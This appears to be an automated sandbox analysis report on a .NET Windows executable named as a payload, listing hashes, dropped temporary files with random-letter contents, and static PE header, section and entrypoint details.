SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF80F.tmp

Download File

Process:	C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690067217069288
Encrypted:	false
SSDEEP:	12:wSQanHEC73FqjThUbJwuUn5qPyd2whRZfZOaH5KrqXzJI/y5bjbVMmRYAPL8fx7T:wHu73FWhUNwzqq2OfX82JdHRNPLcxdl
MD5:	4E32787C3D6F915D3CB360878174E142
SHA1:	57FF84FAEDF66015F2D79E1BE72A29D7B5643F47
SHA-256:	2BCD2A46D2DCED38DE96701E6D3477D8C9F4456FFAE5135C0605C8434BA60269
SHA-512:	CEC75D7CCFA70705732826C202D144A8AC913E7FCFE0D9B54F6A0D1EEC3253B6DEFFB91E551586DA15F56BA4DE8030AC23EE28B16BB80D1C5F1CB6BECF9C21BE
Malicious:	false
Preview:	AIXACVYBSBCZDJMZUDVNECMFSGJSAOAIXCJFDPHQJVUANUFFPQXVYJRUGYPJGKEJNXCBTXARAETAKFTJKVLIZEXLMOAPVEZRZZUIRDUKSPZRBPINNEKLCLXBHFZMBRJTUJZTRCGQGFRQCEVPUBAAPBHBTYYHDJZHHPMFAKXVJPQRQCRUFYPMNUCRRQOYXYEHXQEHWHFLZSBMLRRZFLLYUQLADTKEDXVDLKLPZTTCNAXMXPSTCHQKWMSRPNRZGULFHOTUOYUSIVJEHUYPRYGESSFFMBWDPFRMTVBZEHTJSPRMDJISAZPMEWNGPGIXXTDNHCOBSXAWEFWRZNECKZGORELWMEPSAPLSTZZPUKXURSKTFSUSFEZMXMAIMRJZNGCVKLOHPVMZEIXIISXVMQHQTSADYWZQSWYVJHHONOOSZPQVWIUFMVXBXYCJOMERCQSVXERFAOOENLKARQGTECAIXOXEZPFDFJHYFCKLADMCWYOMCITRHMECVVVNPNTSRXYGYRKZUTOFNBMHDZWYHPYLTWEIGWOIGBTHWYGIXBCUDYMZMTZNYQMZLMXKPNFZDUEXXQLFJZZZVOPBEZKTKTJCTNUPRCNNGCPTIHKPTGBJLGUENNUGTZVMZJGQGUVBRLOJZECBLINEKGSIRFWZPWMVYJNEPWGYIAHKMJRBZMRVIBPONMHBDQZYFBHDDMYBZZAFEPAQFFUPIGGYNSPVXUWNNCWAUZXAGCATPNHNNYICDCRMTKRODUCDDFZKHLISLVOIFZPDTOSIEREFHYEWUBJKJRWXMZUGCPUXCPEXUQPWTSKEYSDPEICDQMMKUKJLDNQEHQQCYKRMWOUSJVTVSZJTFZCDVNUMEIZFWDNWCNCSCHBYNKRUSXPVMRIHGXDUPKXMZUIELSRXMZAEUNCCYZTEYLUYYRNSFUTHFESJOLGKJVGGNVJKSFSETAIHYOMLBOPRYAHSCATJUXNTWVZPEMECBVVHKHDELQRTQBEBXPJJ

C:\Users\user\AppData\Local\Temp\tmpF81F.tmp

Download File

Process:	C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.705615236042988
Encrypted:	false
SSDEEP:	24:B65nSK3I37xD9qo21p9G7ILc3pkowOeuiyJRdt7fXzyxu3f7Lj8X2:B65SK3Xx1OXpkowOeMJR/fzeYX8X2
MD5:	159C7BA9D193731A3AAE589183A63B3F
SHA1:	81FDFC9C96C5B4F9C7730127B166B778092F114A
SHA-256:	1FD7067403DCC66C9C013C2F21001B91C2C6456762B05BDC5EDA2C9E7039F41D
SHA-512:	2BC7C0FCEB65E41380FE2E41AE8339D381C226D74C9B510512BD6D2BAFAEB7211FF489C270579804E9C36440F047B65AF1C315D6C20AC10E52147CE388ED858A
Malicious:	false
Preview:	DTBZGIOOSOGIXCBMGZZTWMBQXGHIBDIDBNCACFDFVBOXTDUUJMUMBAKZSHFEIWNQHEECYVTVTSOTORNQIPIDARMCQDPQAFMDPEUWMOYTBCDCAYVFJLXBCNSKBDWMSQYEQYRUTREAZDRNQIZYXPRJXUJXDYZYLJWOVPCEZSCSUSREYDMTRVOKIKSVPBPVQFMFFQNUDCCBDNGIIDGYMQHFPEMCFEOSEKVDEHVQZBXIBJURBZFVTYETURFSVIYLBMHJKBCAPGOAJJFKOTEXRMHREBNTBJGLLRAKZHXKTTSKEXODMEVVGUJOGNLYLFYGHQIBHAFRVYETMDPLEXBQXLVWYLIMFCJAKPFWSQSVSWYINAAOPMCAAVTIWDFRPKUBYLVKYRNUDCLWZJHLKSXWPDEXGEVUQVEJQWTUUYNTOIRLKQTXRWJHCSMGZWWPGPBFZQLOSDMHAPKSMVNNMIVJAORPRFUXPDROELZMLHAIBRVVWUMSDWFAHIBDVMGGFRISFYQZZSESXHMSUQCQPXBCPTAZBJXKKLRBWEZYGWRXBBTYWRRUXCBJIWCOYQKBQCGCZCPFVLGETTTZLEFZDQMQFHJVERUYLQUPVYRNXQJRLPUBWWQHPTYNORTRKKOMLWKAQZNHZQUJGTIYVIKGAWLHSALTZENHAAJKNKUBSQXDVFQRUFJLDFZAQUPCRNDOOEIALNCMGYLCEZSLPOPYEKIEYDRXSDONBFKQKQMAWBJULDADUHXOQGQLIDEPZRHMCBVTLCJUGOZRYCGXCXPEOJTGJORAEJKASXKARQEVOHMITSWHQEWOJXNOGSKWUQQTSOSWSCCMOUDMMHPYKEAJECJSGTBNPSFVWSGFBKGSKEHVLWONOMPOOJEJHDMKGRPCSBYWCZNHTWZCKQNEGEYABJZETYLVHROKZJAIGKJDHLJBRYOVDHNANLCJBHTDDRPXIXDIHNWDDQDHPSAKZRRXOFYYXZWQWZFESELWVMUIBHMCLVZP

C:\Users\user\AppData\Local\Temp\tmpF820.tmp

Download File

Process:	C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.70435191336402
Encrypted:	false
SSDEEP:	24:q83Oua2II99Dm5Xcf7kmp5fFjUTZF/+akoYY9fBpCtJ6Wi5v:7OD2ISi5Xcz9l8RkcFCJ6Wix
MD5:	8C1F71001ABC7FCE68B3F15299553CE7
SHA1:	382285FB69081EB79C936BC4E1BFFC9D4697D881
SHA-256:	DCC1D5A624022EFCE4D4A919041C499622A1213FD62B848C36E6252EE29B5CAE
SHA-512:	8F2124445F7856BFFBB3E7067135CFA70BFB657F8CEAEE89312CF15CFA127CACF28C2F1F9CD1CC64E56A8D8C248E237F2E97F968D244C457AD95D0AD5144E2A7
Malicious:	false
Preview:	NHPKIZUUSGERQSLBGSEAVXGNDWXNHRIMGKQZIYGMNAKLDSDLMZTSHWNQSMRLTOXKIQVZWPTPMYGCCCTOQMOFGPYVVCCUDORIXMMXDHKCETULBHLJENABEIJPTFOHFPIUUSFPUHSBHENDANFMOYZRZAXYVFEZIKDKUEVZAWEFKRTUJZPFUDMEZZQVBGYMMIHKEBYJMJMTTXSDTDQAUATXLABLBEJUBBPSXZPXMHVNHOHYPKCYLDVGJSBPEXWGYVPHWPWLYJIOFFNQHAOBSRORLXUKIHEETKPFDPHQAGTKOMEWPBYGMTXHOQFINPIQARIVGCFUFIETTFUMCUDHRHCSTIZWRDJEHWOLAFOSWAVIGSWONBSKFWHCQAGHLWBKAFUQUULJRVZNUGGVOCCVTTWZEZFPJKZDJMHDYXQKDPLRECPAAEZVBXFDGZJIUGNMOEAISGBSPVTDRADHODLAXUFWZVTJPIGKERLENNAJHHHNNAPBWXCOGJSNVQJJEEPSMESQKGYOHXVMZQNSMSJHQHSGCJZCBZJXMLGNQQKZRIQSQCAWXZFCRMGMMLKHZDWNQTXPTYWGWNQQEQWEZJPQVPOASQIIJYWPUVLHFSLMGHWITYEKRNYGXYTAJZSRGYUWTMRNOICIEPMAYUOIDDOUSYSPAILYQQLYDTBOTEDGSCNXDRRQMOBWCQMDCQXTPEXDKPLVRMFZSKERSAULAYLSOJGDMFTZECKZYYLQVVDOMXISCOBUPPSAYUFOWOCBDJALHRAXDIKEMRYGQMEYTENAHXKWSVJEDEJTIUWZDHLIBKQRVMQLSAYIIOZDWWOLHCJUVJVRYJLTIENWCTYDOSJVSFUHOQPOXCMFGTAWFRCZJNYBCRPUFRUMZIBQDOVOBMFCHMMFHSSJZDCZNMWNCNSQMZWHCOEYNCAFONSABBQCKAPFWJIGKNUCUJZWUKRWIOFVWQWFSYAHDWXEMJKFZYMRVIRAMPVKBXONBJFTXIBDAYIE

C:\Users\user\AppData\Local\Temp\tmpF821.tmp

Download File

Process:	C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\tmpF832.tmp

Download File

Process:	C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690067217069288
Encrypted:	false
SSDEEP:	12:wSQanHEC73FqjThUbJwuUn5qPyd2whRZfZOaH5KrqXzJI/y5bjbVMmRYAPL8fx7T:wHu73FWhUNwzqq2OfX82JdHRNPLcxdl
MD5:	4E32787C3D6F915D3CB360878174E142
SHA1:	57FF84FAEDF66015F2D79E1BE72A29D7B5643F47
SHA-256:	2BCD2A46D2DCED38DE96701E6D3477D8C9F4456FFAE5135C0605C8434BA60269
SHA-512:	CEC75D7CCFA70705732826C202D144A8AC913E7FCFE0D9B54F6A0D1EEC3253B6DEFFB91E551586DA15F56BA4DE8030AC23EE28B16BB80D1C5F1CB6BECF9C21BE
Malicious:	false
Preview:	AIXACVYBSBCZDJMZUDVNECMFSGJSAOAIXCJFDPHQJVUANUFFPQXVYJRUGYPJGKEJNXCBTXARAETAKFTJKVLIZEXLMOAPVEZRZZUIRDUKSPZRBPINNEKLCLXBHFZMBRJTUJZTRCGQGFRQCEVPUBAAPBHBTYYHDJZHHPMFAKXVJPQRQCRUFYPMNUCRRQOYXYEHXQEHWHFLZSBMLRRZFLLYUQLADTKEDXVDLKLPZTTCNAXMXPSTCHQKWMSRPNRZGULFHOTUOYUSIVJEHUYPRYGESSFFMBWDPFRMTVBZEHTJSPRMDJISAZPMEWNGPGIXXTDNHCOBSXAWEFWRZNECKZGORELWMEPSAPLSTZZPUKXURSKTFSUSFEZMXMAIMRJZNGCVKLOHPVMZEIXIISXVMQHQTSADYWZQSWYVJHHONOOSZPQVWIUFMVXBXYCJOMERCQSVXERFAOOENLKARQGTECAIXOXEZPFDFJHYFCKLADMCWYOMCITRHMECVVVNPNTSRXYGYRKZUTOFNBMHDZWYHPYLTWEIGWOIGBTHWYGIXBCUDYMZMTZNYQMZLMXKPNFZDUEXXQLFJZZZVOPBEZKTKTJCTNUPRCNNGCPTIHKPTGBJLGUENNUGTZVMZJGQGUVBRLOJZECBLINEKGSIRFWZPWMVYJNEPWGYIAHKMJRBZMRVIBPONMHBDQZYFBHDDMYBZZAFEPAQFFUPIGGYNSPVXUWNNCWAUZXAGCATPNHNNYICDCRMTKRODUCDDFZKHLISLVOIFZPDTOSIEREFHYEWUBJKJRWXMZUGCPUXCPEXUQPWTSKEYSDPEICDQMMKUKJLDNQEHQQCYKRMWOUSJVTVSZJTFZCDVNUMEIZFWDNWCNCSCHBYNKRUSXPVMRIHGXDUPKXMZUIELSRXMZAEUNCCYZTEYLUYYRNSFUTHFESJOLGKJVGGNVJKSFSETAIHYOMLBOPRYAHSCATJUXNTWVZPEMECBVVHKHDELQRTQBEBXPJJ

C:\Users\user\AppData\Local\Temp\tmpF833.tmp

Download File

Process:	C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.705615236042988
Encrypted:	false
SSDEEP:	24:B65nSK3I37xD9qo21p9G7ILc3pkowOeuiyJRdt7fXzyxu3f7Lj8X2:B65SK3Xx1OXpkowOeMJR/fzeYX8X2
MD5:	159C7BA9D193731A3AAE589183A63B3F
SHA1:	81FDFC9C96C5B4F9C7730127B166B778092F114A
SHA-256:	1FD7067403DCC66C9C013C2F21001B91C2C6456762B05BDC5EDA2C9E7039F41D
SHA-512:	2BC7C0FCEB65E41380FE2E41AE8339D381C226D74C9B510512BD6D2BAFAEB7211FF489C270579804E9C36440F047B65AF1C315D6C20AC10E52147CE388ED858A
Malicious:	false
Preview:	DTBZGIOOSOGIXCBMGZZTWMBQXGHIBDIDBNCACFDFVBOXTDUUJMUMBAKZSHFEIWNQHEECYVTVTSOTORNQIPIDARMCQDPQAFMDPEUWMOYTBCDCAYVFJLXBCNSKBDWMSQYEQYRUTREAZDRNQIZYXPRJXUJXDYZYLJWOVPCEZSCSUSREYDMTRVOKIKSVPBPVQFMFFQNUDCCBDNGIIDGYMQHFPEMCFEOSEKVDEHVQZBXIBJURBZFVTYETURFSVIYLBMHJKBCAPGOAJJFKOTEXRMHREBNTBJGLLRAKZHXKTTSKEXODMEVVGUJOGNLYLFYGHQIBHAFRVYETMDPLEXBQXLVWYLIMFCJAKPFWSQSVSWYINAAOPMCAAVTIWDFRPKUBYLVKYRNUDCLWZJHLKSXWPDEXGEVUQVEJQWTUUYNTOIRLKQTXRWJHCSMGZWWPGPBFZQLOSDMHAPKSMVNNMIVJAORPRFUXPDROELZMLHAIBRVVWUMSDWFAHIBDVMGGFRISFYQZZSESXHMSUQCQPXBCPTAZBJXKKLRBWEZYGWRXBBTYWRRUXCBJIWCOYQKBQCGCZCPFVLGETTTZLEFZDQMQFHJVERUYLQUPVYRNXQJRLPUBWWQHPTYNORTRKKOMLWKAQZNHZQUJGTIYVIKGAWLHSALTZENHAAJKNKUBSQXDVFQRUFJLDFZAQUPCRNDOOEIALNCMGYLCEZSLPOPYEKIEYDRXSDONBFKQKQMAWBJULDADUHXOQGQLIDEPZRHMCBVTLCJUGOZRYCGXCXPEOJTGJORAEJKASXKARQEVOHMITSWHQEWOJXNOGSKWUQQTSOSWSCCMOUDMMHPYKEAJECJSGTBNPSFVWSGFBKGSKEHVLWONOMPOOJEJHDMKGRPCSBYWCZNHTWZCKQNEGEYABJZETYLVHROKZJAIGKJDHLJBRYOVDHNANLCJBHTDDRPXIXDIHNWDDQDHPSAKZRRXOFYYXZWQWZFESELWVMUIBHMCLVZP

C:\Users\user\AppData\Local\Temp\tmpF844.tmp

Download File

Process:	C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.70435191336402
Encrypted:	false
SSDEEP:	24:q83Oua2II99Dm5Xcf7kmp5fFjUTZF/+akoYY9fBpCtJ6Wi5v:7OD2ISi5Xcz9l8RkcFCJ6Wix
MD5:	8C1F71001ABC7FCE68B3F15299553CE7
SHA1:	382285FB69081EB79C936BC4E1BFFC9D4697D881
SHA-256:	DCC1D5A624022EFCE4D4A919041C499622A1213FD62B848C36E6252EE29B5CAE
SHA-512:	8F2124445F7856BFFBB3E7067135CFA70BFB657F8CEAEE89312CF15CFA127CACF28C2F1F9CD1CC64E56A8D8C248E237F2E97F968D244C457AD95D0AD5144E2A7
Malicious:	false
Preview:	NHPKIZUUSGERQSLBGSEAVXGNDWXNHRIMGKQZIYGMNAKLDSDLMZTSHWNQSMRLTOXKIQVZWPTPMYGCCCTOQMOFGPYVVCCUDORIXMMXDHKCETULBHLJENABEIJPTFOHFPIUUSFPUHSBHENDANFMOYZRZAXYVFEZIKDKUEVZAWEFKRTUJZPFUDMEZZQVBGYMMIHKEBYJMJMTTXSDTDQAUATXLABLBEJUBBPSXZPXMHVNHOHYPKCYLDVGJSBPEXWGYVPHWPWLYJIOFFNQHAOBSRORLXUKIHEETKPFDPHQAGTKOMEWPBYGMTXHOQFINPIQARIVGCFUFIETTFUMCUDHRHCSTIZWRDJEHWOLAFOSWAVIGSWONBSKFWHCQAGHLWBKAFUQUULJRVZNUGGVOCCVTTWZEZFPJKZDJMHDYXQKDPLRECPAAEZVBXFDGZJIUGNMOEAISGBSPVTDRADHODLAXUFWZVTJPIGKERLENNAJHHHNNAPBWXCOGJSNVQJJEEPSMESQKGYOHXVMZQNSMSJHQHSGCJZCBZJXMLGNQQKZRIQSQCAWXZFCRMGMMLKHZDWNQTXPTYWGWNQQEQWEZJPQVPOASQIIJYWPUVLHFSLMGHWITYEKRNYGXYTAJZSRGYUWTMRNOICIEPMAYUOIDDOUSYSPAILYQQLYDTBOTEDGSCNXDRRQMOBWCQMDCQXTPEXDKPLVRMFZSKERSAULAYLSOJGDMFTZECKZYYLQVVDOMXISCOBUPPSAYUFOWOCBDJALHRAXDIKEMRYGQMEYTENAHXKWSVJEDEJTIUWZDHLIBKQRVMQLSAYIIOZDWWOLHCJUVJVRYJLTIENWCTYDOSJVSFUHOQPOXCMFGTAWFRCZJNYBCRPUFRUMZIBQDOVOBMFCHMMFHSSJZDCZNMWNCNSQMZWHCOEYNCAFONSABBQCKAPFWJIGKNUCUJZWUKRWIOFVWQWFSYAHDWXEMJKFZYMRVIRAMPVKBXONBJFTXIBDAYIE

C:\Users\user\AppData\Local\Temp\tmpF845.tmp

Download File

Process:	C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.960015598587119
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe
File size:	97'792 bytes
MD5:	a2c08a55b2b269965a786a352398596d
SHA1:	1a12cd9455c3cb7b0b9b49c35f7c2deb1e1c316a
SHA256:	f7b1909a121a8ae8df6f3c54043a14a3726fb0cbdcfdab1f273b26458b318910
SHA512:	704f9d67ea229f4d1dbeff83110c2237f3c847c3dbe3e40caff180a8bccee083eeebecd0b806c65db7a0ad1bd776b080578abc68eda4ae6b94c391eabf7012e1
SSDEEP:	1536:Jqskqq+zlbG6jejoigIT43Ywzi0Zb78ivombfexv0ujXyyed2jteulgS6pt:nPpZYT+zi0ZbYe1g0ujyzdft
TLSH:	82A35D2067AC9F19EAFD1B74B4B2012043F1E08A9091FB4A4DC164E71FA7B865957FF2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..t............... ........@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x41932e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x192d4	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1a000	0x4de	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x17334	0x17400	5c8313ca62b34586154966bf1d23bc54	False	0.4486307123655914	data	6.015064086426226	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x1a000	0x4de	0x600	e3145af1e7dfa1e41fe7799ae002b612	False	0.3756510416666667	data	3.723940100220831	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
